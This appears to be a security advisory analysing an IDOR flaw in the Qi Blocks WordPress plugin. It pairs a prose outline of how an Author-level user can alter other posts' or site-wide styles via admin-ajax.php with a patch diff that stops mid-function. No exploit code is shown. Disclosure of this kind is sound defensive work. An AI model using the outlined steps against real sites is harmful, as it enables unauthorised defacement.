Published : June 30, 2026

CVE-2026-10096: Qi Blocks <= 1.4.9 Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Style Modification via 'page_id' Parameter PoC, Patch Analysis & Rule

Plugin qi-blocks
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.4.9
Patched Version 1.5
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10096: This is an Insecure Direct Object Reference (IDOR) vulnerability in the Qi Blocks plugin for WordPress, affecting all versions up to and including 1.4.9. The vulnerability allows authenticated attackers with author-level access or above to modify the Qi Blocks global styles of arbitrary posts, templates, or widgets they do not own. This includes site-wide surfaces by using reserved ‘template’ and ‘widget’ values for the ‘page_id’ parameter. The CVSS score is 4.3 (Medium).

The root cause lies in the missing authorization check on the ‘page_id’ parameter in the Qi Blocks global styles AJAX handler. The vulnerable code is in ‘/qi-blocks/inc/admin/global-styles/class-qi-blocks-framework-global-styles.php’. The class contains two AJAX action methods: ‘get_options’ (line 104) and ‘save_options’ (line 133). Both methods retrieve the ‘page_id’ parameter from the request: ‘$_GET[‘page_id’]’ in ‘get_options’ (line 107) and ‘$response_data->page_id’ in ‘save_options’ (line 137). The plugin sanitizes the parameter using ‘sanitize_text_field’ and ‘esc_attr’, but performs no ownership or capability check on the resolved target. The endpoint’s ‘permission_callback’ only verifies generic ‘edit_posts’ and ‘publish_posts’ capabilities. Any user with the built-in Author role satisfies this check regardless of post ownership. An attacker can pass numeric post IDs to modify styles of any post, or pass ‘template’ or ‘widget’ to modify site-wide global styles.

For exploitation, an authenticated attacker with Author-level privileges sends a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to the vulnerable action name (typically ‘qi_blocks_framework_global_styles_save_options’ or similar, as registered by the plugin). The POST data includes a ‘page_id’ parameter and the ‘options’ payload containing CSS style modifications. For site-wide defacement, the attacker sets ‘page_id’ to ‘template’ or ‘widget’. The attacker can also target any specific post by providing its numeric ID. The AJAX response indicates success or failure. No additional permission or nonce checks are enforced on the target object.

The patch introduces a new private method ‘user_can_manage_global_styles_target’ (line 162 of the diff) that performs object-level authorization. This method is called in both the ‘get_options’ and ‘save_options’ methods before processing the request (lines 110 and 142). The method checks: if ‘page_id’ is ‘widget’ or ‘template’, it requires the ‘edit_theme_options’ capability (typically only administrators have this); if ‘page_id’ is an empty string, it also requires ‘edit_theme_options’; if ‘page_id’ is a numeric post ID, it uses ‘current_user_can( ‘edit_post’, $post_id )’ to verify ownership; otherwise it returns false. This ensures that authors cannot modify styles for content they do not own, and site-wide styles require elevated privileges.

If successfully exploited, an attacker can modify the stored Qi Blocks styles (CSS) for any post, template, or widget on the site. This enables unauthorized frontend defacement, content hiding, and visual degradation of any page. The attacker can inject CSS that hides critical elements, alters branding, or exfiltrates data via CSS-based attacks. Since the reserved ‘template’ and ‘widget’ values allow modification of site-wide styles, the impact extends to all pages on the site. Data exposure or privilege escalation are not directly achievable, but the defacement and content manipulation can harm the site’s reputation and user trust.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/qi-blocks/class-qi-blocks.php
+++ b/qi-blocks/class-qi-blocks.php
@@ -5,8 +5,8 @@
 Author: Qode Interactive
 Author URI: https://qodeinteractive.com/
 Plugin URI: https://qodeinteractive.com/qi-blocks-for-gutenberg/
-Version: 1.4.9
-Requires at least: 5.8
+Version: 1.5
+Requires at least: 6.3
 Requires PHP: 7.4
 Text Domain: qi-blocks
 */
@@ -49,6 +49,9 @@
 				add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_assets' ) );
 				add_action( 'wp_enqueue_scripts', array( $this, 'localize_js_scripts' ) );

+				// Loads core block assets only when they are rendered on the page - WordPress 5.8.
+				add_filter( 'should_load_separate_core_block_assets', '__return_true' );
+
 				// Register plugin's editor assets.
 				add_action( 'init', array( $this, 'register_editor_assets' ) );

@@ -175,10 +178,24 @@
 		}

 		public function enqueue_assets() {
+			if ( ! function_exists( 'qi_blocks_should_load_frontend_assets' ) || ! qi_blocks_should_load_frontend_assets() ) {
+				return;
+			}

-			// Enqueue plugin's 3rd party scripts.
+			$this->register_3rd_party_assets();
 			$this->enqueue_3rd_party_assets();

+			if ( function_exists( 'qi_blocks_page_needs_swiper' ) && qi_blocks_page_needs_swiper() ) {
+				wp_enqueue_style( 'swiper' );
+				wp_enqueue_script( 'swiper' );
+
+				$wp_scripts = wp_scripts();
+
+				if ( isset( $wp_scripts->registered['qi-blocks-main'] ) && ! in_array( 'swiper', $wp_scripts->registered['qi-blocks-main']->deps, true ) ) {
+					$wp_scripts->registered['qi-blocks-main']->deps[] = 'swiper';
+				}
+			}
+
 			// Enqueue CSS grid styles.
 			wp_enqueue_style( 'qi-blocks-grid' );

@@ -190,9 +207,7 @@
 		}

 		public function register_editor_assets() {
-
-			// Enqueue plugin's 3rd party scripts.
-			$this->enqueue_3rd_party_assets();
+			$this->register_3rd_party_assets();

 			// Register CSS grid styles.
 			wp_register_style( 'qi-blocks-grid-editor', QI_BLOCKS_ASSETS_URL_PATH . '/dist/grid-editor.css', array( 'qi-blocks-main' ), QI_BLOCKS_VERSION );
@@ -203,6 +218,7 @@
 		}

 		public function enqueue_editor_assets() {
+			$this->enqueue_3rd_party_assets();

 			// Enqueue CSS grid styles.
 			wp_enqueue_style( 'qi-blocks-grid-editor' );
@@ -237,17 +253,22 @@
 			}
 		}

-		public function enqueue_3rd_party_assets() {
-
+		public function register_3rd_party_assets() {
 			// Hook to include additional 3rd party scripts.
 			do_action( 'qi_blocks_action_additional_3rd_party_scripts' );

-			// Register and enqueue animate styles.
-			wp_register_style( 'animate', QI_BLOCKS_ASSETS_URL_PATH . '/css/plugins/animate/animate.min.css', array(), '4.1.1' );
-			wp_enqueue_style( 'animate' );
+			if ( ! wp_style_is( 'animate', 'registered' ) ) {
+				wp_register_style( 'animate', QI_BLOCKS_ASSETS_URL_PATH . '/css/plugins/animate/animate.min.css', array(), '4.1.1' );
+			}
+
+			if ( ! wp_script_is( 'fslightbox', 'registered' ) ) {
+				wp_register_script( 'fslightbox', QI_BLOCKS_ASSETS_URL_PATH . '/js/plugins/fslightbox/fslightbox.min.js', array( 'jquery' ), '3.4.1', true );
+			}
+		}

-			// Register lightbox scripts.
-			wp_register_script( 'fslightbox', QI_BLOCKS_ASSETS_URL_PATH . '/js/plugins/fslightbox/fslightbox.min.js', array( 'jquery' ), '3.4.1', true );
+		public function enqueue_3rd_party_assets() {
+			$this->register_3rd_party_assets();
+			wp_enqueue_style( 'animate' );
 		}

 		public function set_block_style_dependency( $style_dependency ) {
@@ -263,6 +284,10 @@
 		}

 		public function localize_js_scripts() {
+			if ( ! wp_script_is( 'qi-blocks-main', 'enqueued' ) ) {
+				return;
+			}
+
 			$global = apply_filters(
 				'qi_blocks_filter_localize_main_js',
 				array(
--- a/qi-blocks/constants.php
+++ b/qi-blocks/constants.php
@@ -5,7 +5,7 @@
 	exit;
 }

-define( 'QI_BLOCKS_VERSION', '1.4.9' );
+define( 'QI_BLOCKS_VERSION', '1.5' );
 define( 'QI_BLOCKS_ABS_PATH', __DIR__ );
 define( 'QI_BLOCKS_REL_PATH', dirname( plugin_basename( __FILE__ ) ) );
 define( 'QI_BLOCKS_URL_PATH', plugin_dir_url( __FILE__ ) );
--- a/qi-blocks/inc/admin/global-styles/class-qi-blocks-framework-global-styles.php
+++ b/qi-blocks/inc/admin/global-styles/class-qi-blocks-framework-global-styles.php
@@ -104,6 +104,10 @@
 				$options = get_option( 'qi_blocks_global_styles' );
 				$page_id = isset( $_GET['page_id'] ) && ! empty( $_GET['page_id'] ) ? sanitize_text_field( $_GET['page_id'] ) : '';

+				if ( ! $this->user_can_manage_global_styles_target( $page_id ) ) {
+					qi_blocks_get_ajax_status( 'error', esc_html__( 'You are not allowed to access these options.', 'qi-blocks' ), array() );
+				}
+
 				if ( isset( $options ) ) {

 					if ( isset( $options['widgets'] ) && 'widget' === $page_id ) {
@@ -133,6 +137,10 @@
 					$options = $this->sanitize_global_options( $response_data->options );
 					$page_id = isset( $response_data->page_id ) && ! empty( $response_data->page_id ) ? esc_attr( $response_data->page_id ) : '';

+					if ( ! $this->user_can_manage_global_styles_target( $page_id ) ) {
+						qi_blocks_get_ajax_status( 'error', esc_html__( 'You are not allowed to update these options.', 'qi-blocks' ) );
+					}
+
 					// Sanitize and validate CSS options.
 					if ( isset( $global_options['widgets'] ) && 'widget' === $page_id ) {
 						$global_options['widgets'] = $options;
@@ -154,6 +162,35 @@
 		}

 		/**
+		 * Verify object-level authorization for a global styles target.
+		 *
+		 * @param string $page_id Numeric post ID, or one of: widget, template.
+		 *
+		 * @return bool
+		 */
+		private function user_can_manage_global_styles_target( $page_id ) {
+			if ( 'widget' === $page_id || 'template' === $page_id ) {
+				return current_user_can( 'edit_theme_options' );
+			}
+
+			if ( '' === $page_id ) {
+				return current_user_can( 'edit_theme_options' );
+			}
+
+			if ( is_numeric( $page_id ) ) {
+				$post_id = (int) $page_id;
+
+				if ( $post_id <= 0 ) {
+					return false;
+				}
+
+				return current_user_can( 'edit_post', $post_id );
+			}
+
+			return false;
+		}
+
+		/**
 		 * Sanitize qi-blocks $options array received via AJAX.
 		 *
 		 * @param mixed $raw_options The raw options (decoded JSON -> array/object).
@@ -342,10 +379,30 @@
 			return $sanitized_options;
 		}

+		public function has_configured_global_styles( $global_styles ) {
+			if ( empty( $global_styles ) || ! is_array( $global_styles ) ) {
+				return false;
+			}
+
+			foreach ( $global_styles as $section ) {
+				if ( empty( $section ) || ! is_array( $section ) ) {
+					continue;
+				}
+
+				foreach ( $section as $item ) {
+					if ( ! empty( $item ) ) {
+						return true;
+					}
+				}
+			}
+
+			return false;
+		}
+
 		public function add_page_inline_style() {
 			$global_styles = get_option( 'qi_blocks_global_styles' );

-			if ( ! empty( $global_styles ) ) {
+			if ( $this->has_configured_global_styles( $global_styles ) ) {
 				$page_id = apply_filters( 'qi_blocks_filter_page_inline_style_page_id', get_queried_object_id() );
 				$styles  = array();
 				$fonts   = array(
--- a/qi-blocks/inc/blocks/class-qi-blocks-blocks.php
+++ b/qi-blocks/inc/blocks/class-qi-blocks-blocks.php
@@ -5,6 +5,20 @@

 if ( ! class_exists( 'Qi_Blocks_Blocks' ) ) {
 	class Qi_Blocks_Blocks {
+		/**
+		 * Aggregated 3rd party scripts from all block instances.
+		 *
+		 * @var array
+		 */
+		private static $global_block_3rd_party_scripts = array();
+
+		/**
+		 * Whether frontend/editor 3rd party script hooks are registered.
+		 *
+		 * @var bool
+		 */
+		private static $block_3rd_party_hooks_registered = false;
+
 		private $blocks_namespace;
 		private $block_type;
 		private $block_name;
@@ -54,13 +68,6 @@

 			// Register block.
 			add_action( 'init', array( $this, 'register_block' ) );
-
-			// Loads core block assets only when they are rendered on the page - WordPress 5.8.
-			add_filter( 'should_load_separate_core_block_assets', '__return_true' );
-
-			// Enqueue block 3rd party plugin's assets.
-			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_3rd_party_scripts' ) );
-			add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_3rd_party_editor_scripts' ) );
 		}

 		public function get_blocks_namespace() {
@@ -165,6 +172,70 @@

 		public function set_block_3rd_party_scripts( $block_3rd_party_scripts ) {
 			$this->block_3rd_party_scripts = $block_3rd_party_scripts;
+
+			if ( ! empty( $block_3rd_party_scripts ) && is_array( $block_3rd_party_scripts ) ) {
+				foreach ( $block_3rd_party_scripts as $script_key => $script_value ) {
+					if ( isset( self::$global_block_3rd_party_scripts[ $script_key ] ) ) {
+						if ( ! empty( $script_value['block_name'] ) ) {
+							if ( empty( self::$global_block_3rd_party_scripts[ $script_key ]['block_names'] ) ) {
+								self::$global_block_3rd_party_scripts[ $script_key ]['block_names'] = array();
+							}
+
+							if ( ! empty( self::$global_block_3rd_party_scripts[ $script_key ]['block_name'] ) ) {
+								self::$global_block_3rd_party_scripts[ $script_key ]['block_names'][] = self::$global_block_3rd_party_scripts[ $script_key ]['block_name'];
+								unset( self::$global_block_3rd_party_scripts[ $script_key ]['block_name'] );
+							}
+
+							self::$global_block_3rd_party_scripts[ $script_key ]['block_names'][] = $script_value['block_name'];
+						}
+
+						continue;
+					}
+
+					if ( ! empty( $script_value['block_name'] ) ) {
+						$script_value['block_names']   = array( $script_value['block_name'] );
+						$script_value['block_name']    = $script_value['block_names'][0];
+					}
+
+					self::$global_block_3rd_party_scripts[ $script_key ] = $script_value;
+				}
+
+				self::register_3rd_party_script_hooks_once();
+			}
+		}
+
+		/**
+		 * Register frontend/editor hooks for 3rd party scripts once.
+		 *
+		 * @return void
+		 */
+		private static function register_3rd_party_script_hooks_once() {
+			if ( self::$block_3rd_party_hooks_registered ) {
+				return;
+			}
+
+			self::$block_3rd_party_hooks_registered = true;
+
+			add_action( 'wp_enqueue_scripts', array( __CLASS__, 'enqueue_all_3rd_party_scripts' ) );
+			add_action( 'enqueue_block_editor_assets', array( __CLASS__, 'enqueue_all_3rd_party_editor_scripts' ) );
+		}
+
+		/**
+		 * Enqueue aggregated 3rd party scripts on the frontend.
+		 *
+		 * @return void
+		 */
+		public static function enqueue_all_3rd_party_scripts() {
+			self::run_3rd_party_scripts_logic( false );
+		}
+
+		/**
+		 * Enqueue aggregated 3rd party scripts in the block editor.
+		 *
+		 * @return void
+		 */
+		public static function enqueue_all_3rd_party_editor_scripts() {
+			self::run_3rd_party_scripts_logic( true );
 		}

 		public function get_block_options() {
@@ -194,17 +265,23 @@
 			// Set blocks scripts.
 			$this->set_blocks_scripts();

+			$register_args = array(
+				'api_version'   => 3,
+				'style'         => $this->get_block_style(),
+				'editor_style'  => $this->get_block_editor_style(),
+				'editor_script' => $this->get_block_editor_script(),
+			);
+
+			$block_script = $this->get_block_script();
+
+			if ( ! empty( $block_script ) ) {
+				// Frontend-only view scripts must not use legacy `script` (loads in editor too).
+				$register_args['view_script'] = $block_script;
+			}
+
 			register_block_type(
 				$this->get_blocks_namespace() . '/' . $this->get_block_name(),
-				array_merge(
-					array(
-						'style'         => $this->get_block_style(),
-						'script'        => $this->get_block_script(),
-						'editor_style'  => $this->get_block_editor_style(),
-						'editor_script' => $this->get_block_editor_script(),
-					),
-					$block_options
-				)
+				array_merge( $register_args, $block_options )
 			);
 		}

@@ -379,88 +456,78 @@
 		}

 		public function enqueue_3rd_party_scripts() {
-			$this->enqueue_3rd_party_scripts_logic();
+			self::enqueue_all_3rd_party_scripts();
 		}

 		public function enqueue_3rd_party_editor_scripts() {
-			$this->enqueue_3rd_party_scripts_logic( true );
+			self::enqueue_all_3rd_party_editor_scripts();
 		}

 		public function enqueue_3rd_party_scripts_logic( $editor_mode = false ) {
-			$block_3rd_party_scripts = $this->get_block_3rd_party_scripts();
+			self::run_3rd_party_scripts_logic( $editor_mode );
+		}

-			if ( ! empty( $block_3rd_party_scripts ) && is_array( $block_3rd_party_scripts ) ) {
-				foreach ( $block_3rd_party_scripts as $script_key => $script_value ) {
-					$script_dependency = array();
-					$is_script_style   = false;
-					$has_script_style  = false;
+		/**
+		 * Enqueue registered 3rd party scripts for all blocks.
+		 *
+		 * @param bool $editor_mode
+		 *
+		 * @return void
+		 */
+		private static function run_3rd_party_scripts_logic( $editor_mode = false ) {
+			$block_3rd_party_scripts = self::$global_block_3rd_party_scripts;

-					if ( isset( $script_value['dependency'] ) && ! empty( $script_value['dependency'] ) ) {
-						$script_dependency = $script_value['dependency'];
-					}
+			if ( empty( $block_3rd_party_scripts ) || ! is_array( $block_3rd_party_scripts ) ) {
+				return;
+			}

-					if ( isset( $script_value['is_style'] ) ) {
-						$is_script_style = $script_value['is_style'];
-					}
+			if ( ! $editor_mode ) {
+				do_action( 'qi_blocks_action_additional_3rd_party_scripts' );
+			}

-					if ( isset( $script_value['has_style'] ) ) {
-						$has_script_style = $script_value['has_style'];
-					}
+			foreach ( $block_3rd_party_scripts as $script_key => $script_value ) {
+				$script_dependency = array();
+				$is_script_style   = false;
+				$has_script_style  = false;

-					// Check if block exist on the page and then try to load scripts.
-					$additional_conditional = true;
-					if ( ! $editor_mode ) {
-						$additional_conditional = function_exists( 'has_block' ) && has_block( 'qi-blocks/' . $script_value['block_name'] );
-
-						if ( ! $additional_conditional && function_exists( 'get_the_block_template_html' ) ) {
-							$template_content = qi_blocks_get_the_block_template_html();
-
-							// Check if block exist inside FSE template part.
-							if ( ! empty( $template_content ) && strpos( $template_content, 'qi-block-' . $script_value['block_name'] ) !== false ) {
-								$additional_conditional = true;
-							}
-						}
+				if ( isset( $script_value['dependency'] ) && ! empty( $script_value['dependency'] ) ) {
+					$script_dependency = $script_value['dependency'];
+				}

-						// Check if block exist inside Widgets sidebar area.
-						if ( ! $additional_conditional ) {
-							$widgets_block = get_option( 'widget_block' );
-
-							if ( ! empty( $widgets_block ) ) {
-								foreach ( $widgets_block as $widget_block ) {
-									if ( isset( $widget_block['content'] ) && strpos( $widget_block['content'], 'qi-blocks/' . $script_value['block_name'] ) !== false ) {
-										$additional_conditional = true;
-									}
-								}
-							}
-						}
-					}
+				if ( isset( $script_value['is_style'] ) ) {
+					$is_script_style = $script_value['is_style'];
+				}

-					if ( isset( $script_value['block_name'] ) && $additional_conditional ) {
+				if ( isset( $script_value['has_style'] ) ) {
+					$has_script_style = $script_value['has_style'];
+				}

-						if ( ! empty( $script_value['url'] ) ) {
-							if ( 'core' === $script_value['url'] ) {
+				$should_enqueue = function_exists( 'qi_blocks_should_enqueue_third_party_script' )
+					? qi_blocks_should_enqueue_third_party_script( $script_key, $script_value, $editor_mode )
+					: true;

-								if ( $is_script_style ) {
-									wp_enqueue_style( $script_key );
-								} else {
-									wp_enqueue_script( $script_key );
-
-									if ( $has_script_style ) {
-										wp_enqueue_style( $script_key );
-									}
-								}
-							} else {
-
-								if ( $is_script_style ) {
-									wp_enqueue_style( $script_key, $script_value['url'] );
-								} else {
-									wp_enqueue_script( $script_key, $script_value['url'], $script_dependency, false, true );
-
-									if ( $has_script_style ) {
-										wp_enqueue_style( $script_key, $script_value['url'] );
-									}
-								}
-							}
+				if ( ! $should_enqueue || empty( $script_value['url'] ) ) {
+					continue;
+				}
+
+				if ( 'core' === $script_value['url'] ) {
+					if ( $is_script_style ) {
+						wp_enqueue_style( $script_key );
+					} else {
+						wp_enqueue_script( $script_key );
+
+						if ( $has_script_style ) {
+							wp_enqueue_style( $script_key );
+						}
+					}
+				} else {
+					if ( $is_script_style ) {
+						wp_enqueue_style( $script_key, $script_value['url'] );
+					} else {
+						wp_enqueue_script( $script_key, $script_value['url'], $script_dependency, false, true );
+
+						if ( $has_script_style ) {
+							wp_enqueue_style( $script_key, $script_value['url'] );
 						}
 					}
 				}
--- a/qi-blocks/inc/blocks/helper.php
+++ b/qi-blocks/inc/blocks/helper.php
@@ -1,26 +1,492 @@
 <?php

-if ( ! function_exists( 'qi_blocks_get_the_block_template_html' ) ) {
+if ( ! function_exists( 'qi_blocks_content_contains_block_reference' ) ) {
 	/**
-	 * Function that returns the markup for the current template.
+	 * Check whether content references a Qi block by slug or namespace.
 	 *
-	 * @see get_the_block_template_html()
+	 * @param string $content    Post content, widget content, or rendered template HTML.
+	 * @param string $block_name Optional block slug without namespace.
 	 *
-	 * @return string Block template markup.
+	 * @return bool
 	 */
-	function qi_blocks_get_the_block_template_html() {
-		$content = get_transient( '_qi_blocks_get_the_block_template_html ');
+	function qi_blocks_content_contains_block_reference( $content, $block_name = '' ) {
+		if ( empty( $content ) || ! is_string( $content ) ) {
+			return false;
+		}
+
+		if ( '' === $block_name ) {
+			if ( false !== strpos( $content, 'qi-blocks/' ) ) {
+				return true;
+			}
+
+			return false !== strpos( $content, 'wp-block-qi-blocks-' );
+		}
+
+		if ( false !== strpos( $content, 'qi-blocks/' . $block_name ) ) {
+			return true;
+		}
+
+		return false !== strpos( $content, 'wp-block-qi-blocks-' . $block_name );
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_parsed_blocks_contain_block' ) ) {
+	/**
+	 * Recursively check parsed blocks for a Qi block, including reusable blocks.
+	 *
+	 * @param array  $blocks     Parsed blocks array.
+	 * @param string $block_name Optional block slug without namespace.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_parsed_blocks_contain_block( $blocks, $block_name = '' ) {
+		if ( empty( $blocks ) || ! is_array( $blocks ) ) {
+			return false;
+		}
+
+		foreach ( $blocks as $block ) {
+			if ( empty( $block['blockName'] ) ) {
+				continue;
+			}
+
+			if ( '' === $block_name ) {
+				if ( 0 === strpos( $block['blockName'], 'qi-blocks/' ) ) {
+					return true;
+				}
+			} elseif ( 'qi-blocks/' . $block_name === $block['blockName'] ) {
+				return true;
+			}
+
+			if ( 'core/block' === $block['blockName'] && ! empty( $block['attrs']['ref'] ) ) {
+				$reusable_post = get_post( (int) $block['attrs']['ref'] );
+
+				if ( $reusable_post && ! empty( $reusable_post->post_content ) ) {
+					if ( qi_blocks_content_contains_block_reference( $reusable_post->post_content, $block_name ) ) {
+						return true;
+					}
+
+					if ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_block( parse_blocks( $reusable_post->post_content ), $block_name ) ) {
+						return true;
+					}
+				}
+			}
+
+			if ( 'core/template-part' === $block['blockName'] && ! empty( $block['attrs']['slug'] ) && function_exists( 'get_block_template' ) ) {
+				$template_theme = ! empty( $block['attrs']['theme'] ) ? $block['attrs']['theme'] : get_stylesheet();
+				$template_part  = get_block_template( $template_theme . '//' . $block['attrs']['slug'], 'wp_template_part' );
+
+				if ( $template_part && ! empty( $template_part->content ) ) {
+					if ( qi_blocks_content_contains_block_reference( $template_part->content, $block_name ) ) {
+						return true;
+					}
+
+					if ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_block( parse_blocks( $template_part->content ), $block_name ) ) {
+						return true;
+					}
+				}
+			}
+
+			if ( ! empty( $block['innerBlocks'] ) && qi_blocks_parsed_blocks_contain_block( $block['innerBlocks'], $block_name ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_page_contains_qi_blocks' ) ) {
+	/**
+	 * Detect whether the current frontend request needs Qi Blocks assets.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_page_contains_qi_blocks() {
+		static $contains  = null;
+		static $resolving = false;
+
+		if ( null !== $contains ) {
+			return $contains;
+		}
+
+		if ( $resolving ) {
+			return false;
+		}
+
+		$resolving = true;
+		$contains  = false;
+
+		if ( is_admin() ) {
+			$resolving = false;
+
+			return $contains;
+		}
+
+		$page_id = get_queried_object_id();
+
+		if ( $page_id ) {
+			$post_content = get_post_field( 'post_content', $page_id );
+
+			if ( qi_blocks_content_contains_block_reference( $post_content ) ) {
+				$contains  = true;
+				$resolving = false;
+
+				return $contains;
+			}
+
+			if ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_block( parse_blocks( $post_content ) ) ) {
+				$contains  = true;
+				$resolving = false;
+
+				return $contains;
+			}
+		}
+
+		if ( ! $contains && function_exists( 'qi_blocks_get_block_template_content' ) && qi_blocks_should_resolve_block_template_html() ) {
+			$template_content = qi_blocks_get_block_template_content();
+
+			if ( qi_blocks_content_contains_block_reference( $template_content ) ) {
+				$contains = true;
+			} elseif ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_block( parse_blocks( $template_content ) ) ) {
+				$contains = true;
+			}
+		}
+
+		if ( ! $contains ) {
+			$widgets_block = get_option( 'widget_block' );
+
+			if ( ! empty( $widgets_block ) && is_array( $widgets_block ) ) {
+				foreach ( $widgets_block as $widget_block ) {
+					if ( isset( $widget_block['content'] ) && qi_blocks_content_contains_block_reference( $widget_block['content'] ) ) {
+						$contains = true;
+						break;
+					}
+				}
+			}
+		}
+
+		$resolving = false;
+
+		return $contains;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_should_load_frontend_assets' ) ) {
+	/**
+	 * Whether Qi Blocks frontend assets should be enqueued.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_should_load_frontend_assets() {
+		return (bool) apply_filters( 'qi_blocks_should_load_frontend_assets', qi_blocks_page_contains_qi_blocks() );
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_is_block_present_on_page' ) ) {
+	/**
+	 * Check if a specific Qi block is present in post content, templates, or widgets.
+	 *
+	 * @param string $block_name Block slug without namespace.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_is_block_present_on_page( $block_name ) {
+		static $presence_cache = array();
+
+		if ( isset( $presence_cache[ $block_name ] ) ) {
+			return $presence_cache[ $block_name ];
+		}

-		if ( empty( $content ) ) {
-			$content = get_the_block_template_html();
+		$is_present = function_exists( 'has_block' ) && has_block( 'qi-blocks/' . $block_name );

-			set_transient( '_qi_blocks_get_the_block_template_html', $content, 5 );
+		if ( ! $is_present ) {
+			$page_id = get_queried_object_id();
+
+			if ( $page_id ) {
+				$post_content = get_post_field( 'post_content', $page_id );
+
+				if ( qi_blocks_content_contains_block_reference( $post_content, $block_name ) ) {
+					$is_present = true;
+				} elseif ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_block( parse_blocks( $post_content ), $block_name ) ) {
+					$is_present = true;
+				}
+			}
+		}
+
+		if ( ! $is_present && function_exists( 'qi_blocks_get_block_template_content' ) && qi_blocks_should_resolve_block_template_html() ) {
+			$template_content = qi_blocks_get_block_template_content();
+
+			if ( qi_blocks_content_contains_block_reference( $template_content, $block_name ) ) {
+				$is_present = true;
+			} elseif ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_block( parse_blocks( $template_content ), $block_name ) ) {
+				$is_present = true;
+			}
+		}
+
+		if ( ! $is_present ) {
+			static $widgets_block = null;
+
+			if ( null === $widgets_block ) {
+				$widgets_block = get_option( 'widget_block' );
+			}
+
+			if ( ! empty( $widgets_block ) && is_array( $widgets_block ) ) {
+				foreach ( $widgets_block as $widget_block ) {
+					if ( isset( $widget_block['content'] ) && qi_blocks_content_contains_block_reference( $widget_block['content'], $block_name ) ) {
+						$is_present = true;
+						break;
+					}
+				}
+			}
 		}

-		return $content;
+		$presence_cache[ $block_name ] = $is_present;
+
+		return $is_present;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_get_slider_block_names' ) ) {
+	/**
+	 * Block slugs that require the Swiper library on the frontend.
+	 *
+	 * @return array
+	 */
+	function qi_blocks_get_slider_block_names() {
+		return (array) apply_filters(
+			'qi_blocks_filter_slider_block_names',
+			array(
+				'image-slider',
+				'blog-slider',
+				'product-slider',
+				'clients-slider',
+				'testimonials-slider',
+				'device-slider',
+				'device-carousel',
+				'preview-slider',
+				'slider-switch',
+			)
+		);
 	}
 }

+if ( ! function_exists( 'qi_blocks_parsed_blocks_contain_slider_block' ) ) {
+	/**
+	 * Recursively check parsed blocks for any Qi slider block.
+	 *
+	 * @param array $blocks Parsed blocks array.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_parsed_blocks_contain_slider_block( $blocks ) {
+		foreach ( qi_blocks_get_slider_block_names() as $slider_block_name ) {
+			if ( qi_blocks_parsed_blocks_contain_block( $blocks, $slider_block_name ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_content_contains_swiper_markup' ) ) {
+	/**
+	 * Whether content includes rendered Qi slider markup.
+	 *
+	 * @param string $content Optional content string.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_content_contains_swiper_markup( $content = '' ) {
+		if ( is_string( $content ) && '' !== $content ) {
+			return false !== strpos( $content, 'qodef-block-swiper' );
+		}
+
+		$page_id = get_queried_object_id();
+
+		if ( $page_id ) {
+			$post_content = get_post_field( 'post_content', $page_id );
+
+			if ( false !== strpos( $post_content, 'qodef-block-swiper' ) ) {
+				return true;
+			}
+		}
+
+		if ( function_exists( 'qi_blocks_get_block_template_content' ) && qi_blocks_should_resolve_block_template_html() ) {
+			$template_content = qi_blocks_get_block_template_content();
+
+			foreach ( qi_blocks_get_slider_block_names() as $slider_block_name ) {
+				if ( qi_blocks_content_contains_block_reference( $template_content, $slider_block_name ) ) {
+					return true;
+				}
+			}
+
+			if ( function_exists( 'parse_blocks' ) && qi_blocks_parsed_blocks_contain_slider_block( parse_blocks( $template_content ) ) ) {
+				return true;
+			}
+		}
+
+		$widgets_block = get_option( 'widget_block' );
+
+		if ( ! empty( $widgets_block ) && is_array( $widgets_block ) ) {
+			foreach ( $widgets_block as $widget_block ) {
+				if ( isset( $widget_block['content'] ) && false !== strpos( $widget_block['content'], 'qodef-block-swiper' ) ) {
+					return true;
+				}
+			}
+		}
+
+		return false;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_page_needs_swiper' ) ) {
+	/**
+	 * Whether the current request needs the Swiper library.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_page_needs_swiper() {
+		static $needs_swiper = null;
+
+		if ( null !== $needs_swiper ) {
+			return $needs_swiper;
+		}
+
+		$needs_swiper = false;
+
+		foreach ( qi_blocks_get_slider_block_names() as $slider_block_name ) {
+			if ( qi_blocks_is_block_present_on_page( $slider_block_name ) ) {
+				$needs_swiper = true;
+
+				return $needs_swiper;
+			}
+		}
+
+		if ( qi_blocks_content_contains_swiper_markup() ) {
+			$needs_swiper = true;
+		}
+
+		return $needs_swiper;
+	}
+}
+
+if ( ! function_exists( 'qi_blocks_should_enqueue_third_party_script' ) ) {
+	/**
+	 * Whether a shared 3rd party script should be enqueued.
+	 *
+	 * @param string $script_key   Script handle.
+	 * @param array  $script_value Script config.
+	 * @param bool   $editor_mode  Whether the editor is loading assets.
+	 *
+	 * @return bool
+	 */
+	function qi_blocks_should_enqueue_third_party_script( $script_key, $script_value, $editor_mode = false ) {
+		if ( $editor_mode ) {
+			return true;
+		}
+
+		if ( 'swiper' === $script_key ) {
